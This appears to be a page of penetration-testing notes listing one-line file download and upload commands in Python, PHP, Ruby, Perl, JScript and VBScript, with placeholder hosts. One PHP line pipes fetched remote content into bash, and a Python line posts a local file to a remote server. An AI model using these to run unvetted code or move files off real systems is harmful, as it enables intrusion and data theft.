File Transfer using Programming Languages

The use of programming languages provides flexibility and automation for moving files across systems. Below are some common methods using different programming languages:

  • Download using Python

python -c 'import urllib.request;urllib.request.urlretrieve("https://$URL/$file", "$outFile")'

  • Upload using Python

python3 -m uploadserver #Start server
python3 -c 'import requests;requests.post("http://$IP/$uploadFolder",files={"files":open("$pathToFile","rb")})'

  • Download using PHP

php -r '$file = file_get_contents("https://<URL>/<file>"); file_put_contents("<file>",$file);'

#Alternative
php -r 'const BUFFER = 1024; $fremote = fopen("https://<URL>/<file>", "rb"); $flocal = fopen("<file>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

#Alternative 2
php -r '$lines = @file("https://<URL>/<file>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

  • Download using Ruby

ruby -e 'require "net/http"; File.write("$outFile", Net::HTTP.get(URI.parse("https://$URL/$file")))'

  • Download using Perl

perl -e 'use LWP::Simple; getstore("https://$URL/$file", "$outFile");'

  • Download using JS on Windows creating a script

Download.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
cscript.exe /nologo Download.js $URL $outFile #Execute script to donwload

  • Download using Visual Basic Script on Windows creating a script

Download.vbs
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
cscript.exe /nologo Download.vbs $URL $outFile #Execute script to donwload

Last updated